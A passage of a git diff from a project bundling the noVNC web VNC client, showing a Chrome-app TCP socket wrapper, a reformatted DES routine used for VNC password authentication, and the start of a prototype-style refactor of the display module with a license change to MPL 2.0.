+
+ /**
+ * Disconnects from the remote side
+ *
+ * @see http://developer.chrome.com/trunk/apps/socket.html#method-disconnect
+ */
+ TcpClient.prototype.disconnect = function() {
+ if (this.isConnected) {
+ this.isConnected = false;
+ socket.disconnect(this.socketId);
+ if (this.callbacks.disconnect) {
+ this.callbacks.disconnect();
+ }
+ log('socket disconnected');
+ }
+ };
+
+ /**
+ * The callback function used for when we attempt to have Chrome
+ * create a socket. If the socket is successfully created
+ * we go ahead and connect to the remote side.
+ *
+ * @private
+ * @see http://developer.chrome.com/trunk/apps/socket.html#method-connect
+ * @param {Object} createInfo The socket details
+ */
+ TcpClient.prototype._onCreate = function(createInfo) {
+ this.socketId = createInfo.socketId;
+ if (this.socketId > 0) {
+ socket.connect(this.socketId, this.addr, this.port, this._onConnectComplete.bind(this));
+ } else {
+ error('Unable to create socket');
+ }
+ };
+
+ /**
+ * The callback function used for when we attempt to have Chrome
+ * connect to the remote side. If a successful connection is
+ * made then polling starts to check for data to read
+ *
+ * @private
+ * @param {Number} resultCode Indicates whether the connection was successful
+ */
+ TcpClient.prototype._onConnectComplete = function(resultCode) {
+ // Start polling for reads.
+ this.isConnected = true;
+ setTimeout(this._periodicallyRead.bind(this), this.pollInterval);
+
+ if (this.callbacks.connect) {
+ log('connect complete');
+ this.callbacks.connect();
+ }
+ log('onConnectComplete');
+ };
+
+ /**
+ * Checks for new data to read from the socket
+ *
+ * @see http://developer.chrome.com/trunk/apps/socket.html#method-read
+ */
+ TcpClient.prototype._periodicallyRead = function() {
+ var that = this;
+ socket.getInfo(this.socketId, function (info) {
+ if (info.connected) {
+ setTimeout(that._periodicallyRead.bind(that), that.pollInterval);
+ socket.read(that.socketId, null, that._onDataRead.bind(that));
+ } else if (that.isConnected) {
+ log('socket disconnect detected');
+ that.disconnect();
+ }
+ });
+ };
+
+ /**
+ * Callback function for when data has been read from the socket.
+ * Converts the array buffer that is read in to a string
+ * and sends it on for further processing by passing it to
+ * the previously assigned callback function.
+ *
+ * @private
+ * @see TcpClient.prototype.addResponseListener
+ * @param {Object} readInfo The incoming message
+ */
+ TcpClient.prototype._onDataRead = function(readInfo) {
+ // Call received callback if there's data in the response.
+ if (readInfo.resultCode > 0) {
+ log('onDataRead');
+
+ /*
+ // Debug
+ var bytes = [], u8 = new Uint8Array(readInfo.data);
+ for (var i = 0; i < u8.length; i++) {
+ bytes.push(u8[i]);
+ }
+ log("received bytes: " + (bytes.join(',')));
+ */
+
+ if (this.callbacks.recvBuffer) {
+ // Return raw ArrayBuffer directly.
+ this.callbacks.recvBuffer(readInfo.data);
+ }
+ if (this.callbacks.recvString) {
+ // Convert ArrayBuffer to string.
+ this._arrayBufferToString(readInfo.data, function(str) {
+ this.callbacks.recvString(str);
+ }.bind(this));
+ }
+
+ // Trigger another read right away
+ setTimeout(this._periodicallyRead.bind(this), 0);
+ }
+ };
+
+ /**
+ * Callback for when data has been successfully
+ * written to the socket.
+ *
+ * @private
+ * @param {Object} writeInfo The outgoing message
+ */
+ TcpClient.prototype._onWriteComplete = function(writeInfo) {
+ log('onWriteComplete');
+ // Call sent callback.
+ if (this.callbacks.sent) {
+ this.callbacks.sent(writeInfo);
+ }
+ };
+
+ /**
+ * Converts an array buffer to a string
+ *
+ * @private
+ * @param {ArrayBuffer} buf The buffer to convert
+ * @param {Function} callback The function to call when conversion is complete
+ */
+ TcpClient.prototype._arrayBufferToString = function(buf, callback) {
+ var bb = new Blob([new Uint8Array(buf)]);
+ var f = new FileReader();
+ f.onload = function(e) {
+ callback(e.target.result);
+ };
+ f.readAsText(bb);
+ };
+
+ /**
+ * Converts a string to an array buffer
+ *
+ * @private
+ * @param {String} str The string to convert
+ * @param {Function} callback The function to call when conversion is complete
+ */
+ TcpClient.prototype._stringToArrayBuffer = function(str, callback) {
+ var bb = new Blob([str]);
+ var f = new FileReader();
+ f.onload = function(e) {
+ callback(e.target.result);
+ };
+ f.readAsArrayBuffer(bb);
+ };
+
+ /**
+ * Wrapper function for logging
+ */
+ function log(msg) {
+ console.log(msg);
+ }
+
+ /**
+ * Wrapper function for error logging
+ */
+ function error(msg) {
+ console.error(msg);
+ }
+
+ exports.TcpClient = TcpClient;
+
+})(window);
diff --git a/webclients/novnc/include/des.js b/webclients/novnc/include/des.js
index 1f95285..ecbc819 100644
--- a/webclients/novnc/include/des.js
+++ b/webclients/novnc/include/des.js
@@ -75,199 +75,202 @@
* fine Java utilities: http://www.acme.com/java/
*/
-"use strict";
-/*jslint white: false, bitwise: false, plusplus: false */
+/* jslint white: false */
function DES(passwd) {
+ "use strict";
-// Tables, permutations, S-boxes, etc.
-var PC2 = [13,16,10,23, 0, 4, 2,27,14, 5,20, 9,22,18,11, 3,
- 25, 7,15, 6,26,19,12, 1,40,51,30,36,46,54,29,39,
- 50,44,32,47,43,48,38,55,33,52,45,41,49,35,28,31 ],
- totrot = [ 1, 2, 4, 6, 8,10,12,14,15,17,19,21,23,25,27,28],
- z = 0x0, a,b,c,d,e,f, SP1,SP2,SP3,SP4,SP5,SP6,SP7,SP8,
- keys = [];
+ // Tables, permutations, S-boxes, etc.
+ // jshint -W013
+ var PC2 = [13,16,10,23, 0, 4, 2,27,14, 5,20, 9,22,18,11, 3,
+ 25, 7,15, 6,26,19,12, 1,40,51,30,36,46,54,29,39,
+ 50,44,32,47,43,48,38,55,33,52,45,41,49,35,28,31 ],
+ totrot = [ 1, 2, 4, 6, 8,10,12,14,15,17,19,21,23,25,27,28],
+ z = 0x0, a,b,c,d,e,f, SP1,SP2,SP3,SP4,SP5,SP6,SP7,SP8,
+ keys = [];
-a=1<<16; b=1<<24; c=a|b; d=1<<2; e=1<<10; f=d|e;
-SP1 = [c|e,z|z,a|z,c|f,c|d,a|f,z|d,a|z,z|e,c|e,c|f,z|e,b|f,c|d,b|z,z|d,
- z|f,b|e,b|e,a|e,a|e,c|z,c|z,b|f,a|d,b|d,b|d,a|d,z|z,z|f,a|f,b|z,
- a|z,c|f,z|d,c|z,c|e,b|z,b|z,z|e,c|d,a|z,a|e,b|d,z|e,z|d,b|f,a|f,
- c|f,a|d,c|z,b|f,b|d,z|f,a|f,c|e,z|f,b|e,b|e,z|z,a|d,a|e,z|z,c|d];
-a=1<<20; b=1<<31; c=a|b; d=1<<5; e=1<<15; f=d|e;
-SP2 = [c|f,b|e,z|e,a|f,a|z,z|d,c|d,b|f,b|d,c|f,c|e,b|z,b|e,a|z,z|d,c|d,
- a|e,a|d,b|f,z|z,b|z,z|e,a|f,c|z,a|d,b|d,z|z,a|e,z|f,c|e,c|z,z|f,
- z|z,a|f,c|d,a|z,b|f,c|z,c|e,z|e,c|z,b|e,z|d,c|f,a|f,z|d,z|e,b|z,
- z|f,c|e,a|z,b|d,a|d,b|f,b|d,a|d,a|e,z|z,b|e,z|f,b|z,c|d,c|f,a|e];
-a=1<<17; b=1<<27; c=a|b; d=1<<3; e=1<<9; f=d|e;
-SP3 = [z|f,c|e,z|z,c|d,b|e,z|z,a|f,b|e,a|d,b|d,b|d,a|z,c|f,a|d,c|z,z|f,
- b|z,z|d,c|e,z|e,a|e,c|z,c|d,a|f,b|f,a|e,a|z,b|f,z|d,c|f,z|e,b|z,
- c|e,b|z,a|d,z|f,a|z,c|e,b|e,z|z,z|e,a|d,c|f,b|e,b|d,z|e,z|z,c|d,
- b|f,a|z,b|z,c|f,z|d,a|f,a|e,b|d,c|z,b|f,z|f,c|z,a|f,z|d,c|d,a|e];
-a=1<<13; b=1<<23; c=a|b; d=1<<0; e=1<<7; f=d|e;
-SP4 = [c|d,a|f,a|f,z|e,c|e,b|f,b|d,a|d,z|z,c|z,c|z,c|f,z|f,z|z,b|e,b|d,
- z|d,a|z,b|z,c|d,z|e,b|z,a|d,a|e,b|f,z|d,a|e,b|e,a|z,c|e,c|f,z|f,
- b|e,b|d,c|z,c|f,z|f,z|z,z|z,c|z,a|e,b|e,b|f,z|d,c|d,a|f,a|f,z|e,
- c|f,z|f,z|d,a|z,b|d,a|d,c|e,b|f,a|d,a|e,b|z,c|d,z|e,b|z,a|z,c|e];
-a=1<<25; b=1<<30; c=a|b; d=1<<8; e=1<<19; f=d|e;
-SP5 = [z|d,a|f,a|e,c|d,z|e,z|d,b|z,a|e,b|f,z|e,a|d,b|f,c|d,c|e,z|f,b|z,
- a|z,b|e,b|e,z|z,b|d,c|f,c|f,a|d,c|e,b|d,z|z,c|z,a|f,a|z,c|z,z|f,
- z|e,c|d,z|d,a|z,b|z,a|e,c|d,b|f,a|d,b|z,c|e,a|f,b|f,z|d,a|z,c|e,
- c|f,z|f,c|z,c|f,a|e,z|z,b|e,c|z,z|f,a|d,b|d,z|e,z|z,b|e,a|f,b|d];
-a=1<<22; b=1<<29; c=a|b; d=1<<4; e=1<<14; f=d|e;
-SP6 = [b|d,c|z,z|e,c|f,c|z,z|d,c|f,a|z,b|e,a|f,a|z,b|d,a|d,b|e,b|z,z|f,
- z|z,a|d,b|f,z|e,a|e,b|f,z|d,c|d,c|d,z|z,a|f,c|e,z|f,a|e,c|e,b|z,
- b|e,z|d,c|d,a|e,c|f,a|z,z|f,b|d,a|z,b|e,b|z,z|f,b|d,c|f,a|e,c|z,
- a|f,c|e,z|z,c|d,z|d,z|e,c|z,a|f,z|e,a|d,b|f,z|z,c|e,b|z,a|d,b|f];
-a=1<<21; b=1<<26; c=a|b; d=1<<1; e=1<<11; f=d|e;
-SP7 = [a|z,c|d,b|f,z|z,z|e,b|f,a|f,c|e,c|f,a|z,z|z,b|d,z|d,b|z,c|d,z|f,
- b|e,a|f,a|d,b|e,b|d,c|z,c|e,a|d,c|z,z|e,z|f,c|f,a|e,z|d,b|z,a|e,
- b|z,a|e,a|z,b|f,b|f,c|d,c|d,z|d,a|d,b|z,b|e,a|z,c|e,z|f,a|f,c|e,
- z|f,b|d,c|f,c|z,a|e,z|z,z|d,c|f,z|z,a|f,c|z,z|e,b|d,b|e,z|e,a|d];
-a=1<<18; b=1<<28; c=a|b; d=1<<6; e=1<<12; f=d|e;
-SP8 = [b|f,z|e,a|z,c|f,b|z,b|f,z|d,b|z,a|d,c|z,c|f,a|e,c|e,a|f,z|e,z|d,
- c|z,b|d,b|e,z|f,a|e,a|d,c|d,c|e,z|f,z|z,z|z,c|d,b|d,b|e,a|f,a|z,
- a|f,a|z,c|e,z|e,z|d,c|d,z|e,a|f,b|e,z|d,b|d,c|z,c|d,b|z,a|z,b|f,
- z|z,c|f,a|d,b|d,c|z,b|e,b|f,z|z,c|f,a|e,a|e,z|f,z|f,a|d,b|z,c|e];
+ // jshint -W015
+ a=1<<16; b=1<<24; c=a|b; d=1<<2; e=1<<10; f=d|e;
+ SP1 = [c|e,z|z,a|z,c|f,c|d,a|f,z|d,a|z,z|e,c|e,c|f,z|e,b|f,c|d,b|z,z|d,
+ z|f,b|e,b|e,a|e,a|e,c|z,c|z,b|f,a|d,b|d,b|d,a|d,z|z,z|f,a|f,b|z,
+ a|z,c|f,z|d,c|z,c|e,b|z,b|z,z|e,c|d,a|z,a|e,b|d,z|e,z|d,b|f,a|f,
+ c|f,a|d,c|z,b|f,b|d,z|f,a|f,c|e,z|f,b|e,b|e,z|z,a|d,a|e,z|z,c|d];
+ a=1<<20; b=1<<31; c=a|b; d=1<<5; e=1<<15; f=d|e;
+ SP2 = [c|f,b|e,z|e,a|f,a|z,z|d,c|d,b|f,b|d,c|f,c|e,b|z,b|e,a|z,z|d,c|d,
+ a|e,a|d,b|f,z|z,b|z,z|e,a|f,c|z,a|d,b|d,z|z,a|e,z|f,c|e,c|z,z|f,
+ z|z,a|f,c|d,a|z,b|f,c|z,c|e,z|e,c|z,b|e,z|d,c|f,a|f,z|d,z|e,b|z,
+ z|f,c|e,a|z,b|d,a|d,b|f,b|d,a|d,a|e,z|z,b|e,z|f,b|z,c|d,c|f,a|e];
+ a=1<<17; b=1<<27; c=a|b; d=1<<3; e=1<<9; f=d|e;
+ SP3 = [z|f,c|e,z|z,c|d,b|e,z|z,a|f,b|e,a|d,b|d,b|d,a|z,c|f,a|d,c|z,z|f,
+ b|z,z|d,c|e,z|e,a|e,c|z,c|d,a|f,b|f,a|e,a|z,b|f,z|d,c|f,z|e,b|z,
+ c|e,b|z,a|d,z|f,a|z,c|e,b|e,z|z,z|e,a|d,c|f,b|e,b|d,z|e,z|z,c|d,
+ b|f,a|z,b|z,c|f,z|d,a|f,a|e,b|d,c|z,b|f,z|f,c|z,a|f,z|d,c|d,a|e];
+ a=1<<13; b=1<<23; c=a|b; d=1<<0; e=1<<7; f=d|e;
+ SP4 = [c|d,a|f,a|f,z|e,c|e,b|f,b|d,a|d,z|z,c|z,c|z,c|f,z|f,z|z,b|e,b|d,
+ z|d,a|z,b|z,c|d,z|e,b|z,a|d,a|e,b|f,z|d,a|e,b|e,a|z,c|e,c|f,z|f,
+ b|e,b|d,c|z,c|f,z|f,z|z,z|z,c|z,a|e,b|e,b|f,z|d,c|d,a|f,a|f,z|e,
+ c|f,z|f,z|d,a|z,b|d,a|d,c|e,b|f,a|d,a|e,b|z,c|d,z|e,b|z,a|z,c|e];
+ a=1<<25; b=1<<30; c=a|b; d=1<<8; e=1<<19; f=d|e;
+ SP5 = [z|d,a|f,a|e,c|d,z|e,z|d,b|z,a|e,b|f,z|e,a|d,b|f,c|d,c|e,z|f,b|z,
+ a|z,b|e,b|e,z|z,b|d,c|f,c|f,a|d,c|e,b|d,z|z,c|z,a|f,a|z,c|z,z|f,
+ z|e,c|d,z|d,a|z,b|z,a|e,c|d,b|f,a|d,b|z,c|e,a|f,b|f,z|d,a|z,c|e,
+ c|f,z|f,c|z,c|f,a|e,z|z,b|e,c|z,z|f,a|d,b|d,z|e,z|z,b|e,a|f,b|d];
+ a=1<<22; b=1<<29; c=a|b; d=1<<4; e=1<<14; f=d|e;
+ SP6 = [b|d,c|z,z|e,c|f,c|z,z|d,c|f,a|z,b|e,a|f,a|z,b|d,a|d,b|e,b|z,z|f,
+ z|z,a|d,b|f,z|e,a|e,b|f,z|d,c|d,c|d,z|z,a|f,c|e,z|f,a|e,c|e,b|z,
+ b|e,z|d,c|d,a|e,c|f,a|z,z|f,b|d,a|z,b|e,b|z,z|f,b|d,c|f,a|e,c|z,
+ a|f,c|e,z|z,c|d,z|d,z|e,c|z,a|f,z|e,a|d,b|f,z|z,c|e,b|z,a|d,b|f];
+ a=1<<21; b=1<<26; c=a|b; d=1<<1; e=1<<11; f=d|e;
+ SP7 = [a|z,c|d,b|f,z|z,z|e,b|f,a|f,c|e,c|f,a|z,z|z,b|d,z|d,b|z,c|d,z|f,
+ b|e,a|f,a|d,b|e,b|d,c|z,c|e,a|d,c|z,z|e,z|f,c|f,a|e,z|d,b|z,a|e,
+ b|z,a|e,a|z,b|f,b|f,c|d,c|d,z|d,a|d,b|z,b|e,a|z,c|e,z|f,a|f,c|e,
+ z|f,b|d,c|f,c|z,a|e,z|z,z|d,c|f,z|z,a|f,c|z,z|e,b|d,b|e,z|e,a|d];
+ a=1<<18; b=1<<28; c=a|b; d=1<<6; e=1<<12; f=d|e;
+ SP8 = [b|f,z|e,a|z,c|f,b|z,b|f,z|d,b|z,a|d,c|z,c|f,a|e,c|e,a|f,z|e,z|d,
+ c|z,b|d,b|e,z|f,a|e,a|d,c|d,c|e,z|f,z|z,z|z,c|d,b|d,b|e,a|f,a|z,
+ a|f,a|z,c|e,z|e,z|d,c|d,z|e,a|f,b|e,z|d,b|d,c|z,c|d,b|z,a|z,b|f,
+ z|z,c|f,a|d,b|d,c|z,b|e,b|f,z|z,c|f,a|e,a|e,z|f,z|f,a|d,b|z,c|e];
+ // jshint +W013,+W015
-// Set the key.
-function setKeys(keyBlock) {
- var i, j, l, m, n, o, pc1m = [], pcr = [], kn = [],
- raw0, raw1, rawi, KnLi;
+ // Set the key.
+ function setKeys(keyBlock) {
+ var i, j, l, m, n, o, pc1m = [], pcr = [], kn = [],
+ raw0, raw1, rawi, KnLi;
- for (j = 0, l = 56; j < 56; ++j, l-=8) {
- l += l<-5 ? 65 : l<-3 ? 31 : l<-1 ? 63 : l===27 ? 35 : 0; // PC1
- m = l & 0x7;
- pc1m[j] = ((keyBlock[l >>> 3] & (1<<m)) !== 0) ? 1: 0;
- }
+ for (j = 0, l = 56; j < 56; ++j, l -= 8) {
+ l += l < -5 ? 65 : l < -3 ? 31 : l < -1 ? 63 : l === 27 ? 35 : 0; // PC1
+ m = l & 0x7;
+ pc1m[j] = ((keyBlock[l >>> 3] & (1<<m)) !== 0) ? 1: 0;
+ }
- for (i = 0; i < 16; ++i) {
- m = i << 1;
- n = m + 1;
- kn[m] = kn[n] = 0;
- for (o=28; o<59; o+=28) {
- for (j = o-28; j < o; ++j) {
- l = j + totrot[i];
- if (l < o) {
- pcr[j] = pc1m[l];
- } else {
- pcr[j] = pc1m[l - 28];
+ for (i = 0; i < 16; ++i) {
+ m = i << 1;
+ n = m + 1;
+ kn[m] = kn[n] = 0;
+ for (o = 28; o < 59; o += 28) {
+ for (j = o - 28; j < o; ++j) {
+ l = j + totrot[i];
+ if (l < o) {
+ pcr[j] = pc1m[l];
+ } else {
+ pcr[j] = pc1m[l - 28];
+ }
+ }
+ }
+ for (j = 0; j < 24; ++j) {
+ if (pcr[PC2[j]] !== 0) {
+ kn[m] |= 1 << (23 - j);
+ }
+ if (pcr[PC2[j + 24]] !== 0) {
+ kn[n] |= 1 << (23 - j);
}
}
}
- for (j = 0; j < 24; ++j) {
- if (pcr[PC2[j]] !== 0) {
- kn[m] |= 1<<(23-j);
- }
- if (pcr[PC2[j + 24]] !== 0) {
- kn[n] |= 1<<(23-j);
- }
+
+ // cookey
+ for (i = 0, rawi = 0, KnLi = 0; i < 16; ++i) {
+ raw0 = kn[rawi++];
+ raw1 = kn[rawi++];
+ keys[KnLi] = (raw0 & 0x00fc0000) << 6;
+ keys[KnLi] |= (raw0 & 0x00000fc0) << 10;
+ keys[KnLi] |= (raw1 & 0x00fc0000) >>> 10;
+ keys[KnLi] |= (raw1 & 0x00000fc0) >>> 6;
+ ++KnLi;
+ keys[KnLi] = (raw0 & 0x0003f000) << 12;
+ keys[KnLi] |= (raw0 & 0x0000003f) << 16;
+ keys[KnLi] |= (raw1 & 0x0003f000) >>> 4;
+ keys[KnLi] |= (raw1 & 0x0000003f);
+ ++KnLi;
}
}
- // cookey
- for (i = 0, rawi = 0, KnLi = 0; i < 16; ++i) {
- raw0 = kn[rawi++];
- raw1 = kn[rawi++];
- keys[KnLi] = (raw0 & 0x00fc0000) << 6;
- keys[KnLi] |= (raw0 & 0x00000fc0) << 10;
- keys[KnLi] |= (raw1 & 0x00fc0000) >>> 10;
- keys[KnLi] |= (raw1 & 0x00000fc0) >>> 6;
- ++KnLi;
- keys[KnLi] = (raw0 & 0x0003f000) << 12;
- keys[KnLi] |= (raw0 & 0x0000003f) << 16;
- keys[KnLi] |= (raw1 & 0x0003f000) >>> 4;
- keys[KnLi] |= (raw1 & 0x0000003f);
- ++KnLi;
- }
-}
+ // Encrypt 8 bytes of text
+ function enc8(text) {
+ var i = 0, b = text.slice(), fval, keysi = 0,
+ l, r, x; // left, right, accumulator
-// Encrypt 8 bytes of text
-function enc8(text) {
- var i = 0, b = text.slice(), fval, keysi = 0,
- l, r, x; // left, right, accumulator
+ // Squash 8 bytes to 2 ints
+ l = b[i++]<<24 | b[i++]<<16 | b[i++]<<8 | b[i++];
+ r = b[i++]<<24 | b[i++]<<16 | b[i++]<<8 | b[i++];
- // Squash 8 bytes to 2 ints
- l = b[i++]<<24 | b[i++]<<16 | b[i++]<<8 | b[i++];
- r = b[i++]<<24 | b[i++]<<16 | b[i++]<<8 | b[i++];
+ x = ((l >>> 4) ^ r) & 0x0f0f0f0f;
+ r ^= x;
+ l ^= (x << 4);
+ x = ((l >>> 16) ^ r) & 0x0000ffff;
+ r ^= x;
+ l ^= (x << 16);
+ x = ((r >>> 2) ^ l) & 0x33333333;
+ l ^= x;
+ r ^= (x << 2);
+ x = ((r >>> 8) ^ l) & 0x00ff00ff;
+ l ^= x;
+ r ^= (x << 8);
+ r = (r << 1) | ((r >>> 31) & 1);
+ x = (l ^ r) & 0xaaaaaaaa;
+ l ^= x;
+ r ^= x;
+ l = (l << 1) | ((l >>> 31) & 1);
- x = ((l >>> 4) ^ r) & 0x0f0f0f0f;
- r ^= x;
- l ^= (x << 4);
- x = ((l >>> 16) ^ r) & 0x0000ffff;
- r ^= x;
- l ^= (x << 16);
- x = ((r >>> 2) ^ l) & 0x33333333;
- l ^= x;
- r ^= (x << 2);
- x = ((r >>> 8) ^ l) & 0x00ff00ff;
- l ^= x;
- r ^= (x << 8);
- r = (r << 1) | ((r >>> 31) & 1);
- x = (l ^ r) & 0xaaaaaaaa;
- l ^= x;
- r ^= x;
- l = (l << 1) | ((l >>> 31) & 1);
+ for (i = 0; i < 8; ++i) {
+ x = (r << 28) | (r >>> 4);
+ x ^= keys[keysi++];
+ fval = SP7[x & 0x3f];
+ fval |= SP5[(x >>> 8) & 0x3f];
+ fval |= SP3[(x >>> 16) & 0x3f];
+ fval |= SP1[(x >>> 24) & 0x3f];
+ x = r ^ keys[keysi++];
+ fval |= SP8[x & 0x3f];
+ fval |= SP6[(x >>> 8) & 0x3f];
+ fval |= SP4[(x >>> 16) & 0x3f];
+ fval |= SP2[(x >>> 24) & 0x3f];
+ l ^= fval;
+ x = (l << 28) | (l >>> 4);
+ x ^= keys[keysi++];
+ fval = SP7[x & 0x3f];
+ fval |= SP5[(x >>> 8) & 0x3f];
+ fval |= SP3[(x >>> 16) & 0x3f];
+ fval |= SP1[(x >>> 24) & 0x3f];
+ x = l ^ keys[keysi++];
+ fval |= SP8[x & 0x0000003f];
+ fval |= SP6[(x >>> 8) & 0x3f];
+ fval |= SP4[(x >>> 16) & 0x3f];
+ fval |= SP2[(x >>> 24) & 0x3f];
+ r ^= fval;
+ }
- for (i = 0; i < 8; ++i) {
- x = (r << 28) | (r >>> 4);
- x ^= keys[keysi++];
- fval = SP7[x & 0x3f];
- fval |= SP5[(x >>> 8) & 0x3f];
- fval |= SP3[(x >>> 16) & 0x3f];
- fval |= SP1[(x >>> 24) & 0x3f];
- x = r ^ keys[keysi++];
- fval |= SP8[x & 0x3f];
- fval |= SP6[(x >>> 8) & 0x3f];
- fval |= SP4[(x >>> 16) & 0x3f];
- fval |= SP2[(x >>> 24) & 0x3f];
- l ^= fval;
- x = (l << 28) | (l >>> 4);
- x ^= keys[keysi++];
- fval = SP7[x & 0x3f];
- fval |= SP5[(x >>> 8) & 0x3f];
- fval |= SP3[(x >>> 16) & 0x3f];
- fval |= SP1[(x >>> 24) & 0x3f];
- x = l ^ keys[keysi++];
- fval |= SP8[x & 0x0000003f];
- fval |= SP6[(x >>> 8) & 0x3f];
- fval |= SP4[(x >>> 16) & 0x3f];
- fval |= SP2[(x >>> 24) & 0x3f];
- r ^= fval;
+ r = (r << 31) | (r >>> 1);
+ x = (l ^ r) & 0xaaaaaaaa;
+ l ^= x;
+ r ^= x;
+ l = (l << 31) | (l >>> 1);
+ x = ((l >>> 8) ^ r) & 0x00ff00ff;
+ r ^= x;
+ l ^= (x << 8);
+ x = ((l >>> 2) ^ r) & 0x33333333;
+ r ^= x;
+ l ^= (x << 2);
+ x = ((r >>> 16) ^ l) & 0x0000ffff;
+ l ^= x;
+ r ^= (x << 16);
+ x = ((r >>> 4) ^ l) & 0x0f0f0f0f;
+ l ^= x;
+ r ^= (x << 4);
+
+ // Spread ints to bytes
+ x = [r, l];
+ for (i = 0; i < 8; i++) {
+ b[i] = (x[i>>>2] >>> (8 * (3 - (i % 4)))) % 256;
+ if (b[i] < 0) { b[i] += 256; } // unsigned
+ }
+ return b;
}
- r = (r << 31) | (r >>> 1);
- x = (l ^ r) & 0xaaaaaaaa;
- l ^= x;
- r ^= x;
- l = (l << 31) | (l >>> 1);
- x = ((l >>> 8) ^ r) & 0x00ff00ff;
- r ^= x;
- l ^= (x << 8);
- x = ((l >>> 2) ^ r) & 0x33333333;
- r ^= x;
- l ^= (x << 2);
- x = ((r >>> 16) ^ l) & 0x0000ffff;
- l ^= x;
- r ^= (x << 16);
- x = ((r >>> 4) ^ l) & 0x0f0f0f0f;
- l ^= x;
- r ^= (x << 4);
-
- // Spread ints to bytes
- x = [r, l];
- for (i = 0; i < 8; i++) {
- b[i] = (x[i>>>2] >>> (8*(3 - (i%4)))) % 256;
- if (b[i] < 0) { b[i] += 256; } // unsigned
+ // Encrypt 16 bytes of text using passwd as key
+ function encrypt(t) {
+ return enc8(t.slice(0, 8)).concat(enc8(t.slice(8, 16)));
}
- return b;
-}
-// Encrypt 16 bytes of text using passwd as key
-function encrypt(t) {
- return enc8(t.slice(0,8)).concat(enc8(t.slice(8,16)));
-}
-
-setKeys(passwd); // Setup keys
-return {'encrypt': encrypt}; // Public interface
+ setKeys(passwd); // Setup keys
+ return {'encrypt': encrypt}; // Public interface
} // function DES
diff --git a/webclients/novnc/include/display.js b/webclients/novnc/include/display.js
index f2ecdba..8763fa4 100644
--- a/webclients/novnc/include/display.js
+++ b/webclients/novnc/include/display.js
@@ -1,700 +1,740 @@
/*
* noVNC: HTML5 VNC client
- * Copyright (C) 2011 Joel Martin
- * Licensed under LGPL-3 (see LICENSE.txt)
+ * Copyright (C) 2012 Joel Martin
+ * Licensed under MPL 2.0 (see LICENSE.txt)
*
* See README.md for usage and integration instructions.
*/
-/*jslint browser: true, white: false, bitwise: false */
+/*jslint browser: true, white: false */
/*global Util, Base64, changeCursor */
-function Display(defaults) {
-"use strict";
+var Display;
-var that = {}, // Public API methods
- conf = {}, // Configuration attributes
+(function () {
+ "use strict";
- // Private Display namespace variables
- c_ctx = null,
- c_forceCanvas = false,
+ Display = function (defaults) {
+ this._drawCtx = null;
+ this._c_forceCanvas = false;
- // Predefine function variables (jslint)
- imageDataGet, rgbImageData, bgrxImageData, cmapImageData,
- setFillColor, rescale,
+ this._renderQ = []; // queue drawing actions for in-oder rendering
- // The full frame buffer (logical canvas) size
- fb_width = 0,
- fb_height = 0,
- // The visible "physical canvas" viewport
- viewport = {'x': 0, 'y': 0, 'w' : 0, 'h' : 0 },
- cleanRect = {'x1': 0, 'y1': 0, 'x2': -1, 'y2': -1},
+ // the full frame buffer (logical canvas) size
+ this._fb_width = 0;
+ this._fb_height = 0;
- c_prevStyle = "",
- tile = null,
- tile16x16 = null,
- tile_x = 0,
- tile_y = 0;
+ // the visible "physical canvas" viewport
+ this._viewportLoc = { 'x': 0, 'y': 0, 'w': 0, 'h': 0 };
+ this._cleanRect = { 'x1': 0, 'y1': 0, 'x2': -1, 'y2': -1 };
+ this._prevDrawStyle = "";
+ this._tile = null;
+ this._tile16x16 = null;
+ this._tile_x = 0;
+ this._tile_y = 0;
-// Configuration attributes
-Util.conf_defaults(conf, that, defaults, [
- ['target', 'wo', 'dom', null, 'Canvas element for rendering'],
- ['context', 'ro', 'raw', null, 'Canvas 2D context for rendering (read-only)'],
- ['logo', 'rw', 'raw', null, 'Logo to display when cleared: {"width": width, "height": height, "data": data}'],
- ['true_color', 'rw', 'bool', true, 'Use true-color pixel data'],
- ['colourMap', 'rw', 'arr', [], 'Colour map array (when not true-color)'],
- ['scale', 'rw', 'float', 1.0, 'Display area scale factor 0.0 - 1.0'],
- ['viewport', 'rw', 'bool', false, 'Use a viewport set with viewportChange()'],
- ['width', 'rw', 'int', null, 'Display area width'],
- ['height', 'rw', 'int', null, 'Display area height'],
+ Util.set_defaults(this, defaults, {
+ 'true_color': true,
+ 'colourMap': [],
+ 'scale': 1.0,
+ 'viewport': false,
+ 'render_mode': ''
+ });
- ['render_mode', 'ro', 'str', '', 'Canvas rendering mode (read-only)'],
+ Util.Debug(">> Display.constructor");
- ['prefer_js', 'rw', 'str', null, 'Prefer Javascript over canvas methods'],
- ['cursor_uri', 'rw', 'raw', null, 'Can we render cursor using data URI']
+ if (!this._target) {
+ throw new Error("Target must be set");
+ }
+
+ if (typeof this._target === 'string') {
+ throw new Error('target must be a DOM element');
+ }
+
+ if (!this._target.getContext) {
+ throw new Error("no getContext method");
+ }
+
+ if (!this._drawCtx) {
+ this._drawCtx = this._target.getContext('2d');
+ }
+
+ Util.Debug("User Agent: " + navigator.userAgent);
+ if (Util.Engine.gecko) { Util.Debug("Browser: gecko " + Util.Engine.gecko); }
+ if (Util.Engine.webkit) { Util.Debug("Browser: webkit " + Util.Engine.webkit); }
+ if (Util.Engine.trident) { Util.Debug("Browser: trident " + Util.Engine.trident); }
+ if (Util.Engine.presto) { Util.Debug("Browser: presto " + Util.Engine.presto); }
+
+ this.clear();
+
+ // Check canvas features
+ if ('createImageData' in this._drawCtx) {
+ this._render_mode = 'canvas rendering';
+ } else {
+ throw new Error("Canvas does not support createImageData");
+ }
+
+ if (this._prefer_js === null) {
+ Util.Info("Prefering javascript operations");
+ this._prefer_js = true;
+ }
+
+ // Determine browser support for setting the cursor via data URI scheme
+ var curDat = [];
+ for (var i = 0; i < 8 * 8 * 4; i++) {
+ curDat.push(255);
+ }
+ try {
+ var curSave = this._target.style.cursor;
+ Display.changeCursor(this._target, curDat, curDat, 2, 2, 8, 8);
+ if (this._target.style.cursor) {
+ if (this._cursor_uri === null || this._cursor_uri === undefined) {
+ this._cursor_uri = true;
+ }
+ Util.Info("Data URI scheme cursor supported");
+ } else {
+ if (this._cursor_uri === null || this._cursor_uri === undefined) {
+ this._cursor_uri = false;
+ }
+ Util.Warn("Data URI scheme cursor not supported");
+ }
+ this._target.style.cursor = curSave;
+ } catch (exc) {
+ Util.Error("Data URI scheme cursor test exception: " + exc);
+ this._cursor_uri = false;
+ }
+
+ Util.Debug("<< Display.constructor");
+ };
+
+ Display.prototype = {
+ // Public methods
+ viewportChange: function (deltaX, deltaY, width, height) {
